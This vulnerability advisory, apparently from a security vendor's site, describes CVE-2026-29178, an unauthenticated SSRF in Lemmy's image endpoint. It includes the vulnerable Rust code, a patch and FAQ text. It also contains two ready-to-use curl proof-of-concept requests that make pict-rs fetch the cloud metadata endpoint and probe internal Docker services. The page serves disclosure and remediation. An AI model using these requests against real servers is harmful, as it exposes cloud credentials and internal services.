CVE-2026-29178

Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint

pub async fn get_image(
  filename: Path<String>,
  Query(params): Query<ImageGetParams>,
  req: HttpRequest,
  context: Data<LemmyContext>,
) -> LemmyResult<HttpResponse> {
  let name = &filename.into_inner();
  let pictrs_url = context.settings().pictrs()?.url;
  let processed_url = if params.file_type.is_none() && params.max_size.is_none() {
    format!("{}image/original/{}", pictrs_url, name)
  } else {
    let file_type = file_type(params.file_type, name);
    let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name);
    // ...
  };
  do_get_image(processed_url, req, &context).await
}

# Basic SSRF - make pict-rs fetch AWS metadata endpoint
# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=
# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything

curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'

# Scan internal services on the Docker network
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'

# The same issue exists in the image_proxy endpoint, but it requires the
# proxy URL to exist in the remote_image table (RemoteImage::validate check),
# making it harder to exploit.

An unauthenticated attacker can:

• Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service
• Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)
• Bypass the RemoteImage::validate() check that protects the image_proxy endpoint

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Kodem intelligence

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Validate the file_type parameter to only allow alphanumeric characters:

fn file_type(file_type: Option<String>, name: &str) -> String {
  let ft = file_type
    .unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string());
  if ft.chars().all(|c| c.is_alphanumeric()) {
    ft
  } else {
    "jpg".to_string()
  }
}

1. What is CVE-2026-29178? CVE-2026-29178 is a high-severity server-side request forgery (SSRF) vulnerability in lemmy_routes (rust), affecting versions <= 0.19.15. It is fixed in 0.19.16. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. Which versions of lemmy_routes are affected by CVE-2026-29178? lemmy_routes (rust) versions <= 0.19.15 is affected.
3. Is there a fix for CVE-2026-29178? Yes. CVE-2026-29178 is fixed in 0.19.16. Upgrade to this version or later.
4. Is CVE-2026-29178 exploitable, and should I be worried? Whether CVE-2026-29178 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-29178 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-29178? Upgrade lemmy_routes to 0.19.16 or later.